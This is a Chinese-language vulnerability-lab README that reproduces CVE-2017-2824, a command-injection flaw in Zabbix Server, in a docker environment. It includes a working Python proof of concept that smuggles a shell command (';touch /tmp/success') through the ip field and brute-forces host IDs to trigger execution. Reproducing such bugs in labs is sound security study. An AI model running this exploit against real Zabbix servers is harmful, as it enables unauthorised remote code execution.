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zabbix/CVE-2017-2824/README.zh-cn.md
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zabbix/CVE-2017-2824/README.zh-cn.md
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# Zabbix Server Active Proxy Trapper 命令注入漏洞(CVE-2017-2824)
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Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统,基于 Server-Client 架构。
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在Zabbix版本2.0.x 2.0.21之前,2.2.x 2.2.18之前,2.4.x,3.0.x 3.0.9之前,或者3.2.x 3.2.5之前,Zabbix的server-side trapper命令功能存在一处代码执行漏洞,特定的数据包可造成命令注入,进而远程执行代码。攻击者可以从一个Zabbix proxy发起请求,从而触发漏洞。
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参考链接:
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- https://talosintelligence.com/reports/TALOS-2017-0325
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- https://support.zabbix.com/browse/ZBX-12075
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## 环境搭建
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执行如下命令启动一个完整的Zabbix 3.0.3环境,包含Web端、Server端、1个Agent和Mysql数据库:
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```
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docker compose up -d
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```
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命令执行后,执行`docker compose ps`查看容器是否全部成功启动,如果没有,可以尝试重新执行`docker compose up -d`。
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利用该漏洞,需要你服务端开启了自动注册功能,所以我们先以管理员的身份开启自动注册功能。使用账号密码`admin/zabbix`登录后台,进入Configuration->Actions,将Event source调整为Auto registration,然后点击Create action,创建一个Action,名字随意:
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第三个标签页,创建一个Operation,type是"Add Host":
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保存。这样就开启了自动注册功能,攻击者可以将自己的服务器注册为Agent。
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## 漏洞复现
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使用这个简单的POC来复现漏洞:
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```python
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import sys
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import socket
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import json
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import sys
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def send(ip, data):
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conn = socket.create_connection((ip, 10051), 10)
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conn.send(json.dumps(data).encode())
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data = conn.recv(2048)
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conn.close()
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return data
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target = sys.argv[1]
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print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
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for i in range(10000, 10500):
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data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
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if data and b'failed' not in data:
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print('hostid: %d' % i)
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print(data)
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```
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这个POC比较初级,请多执行几次,当查看到如下结果时,则说明命令执行成功:
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进入server容器,可见`/tmp/success`已成功创建:
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有兴趣的同学可以对这个POC进行改进,提交Pull Request。
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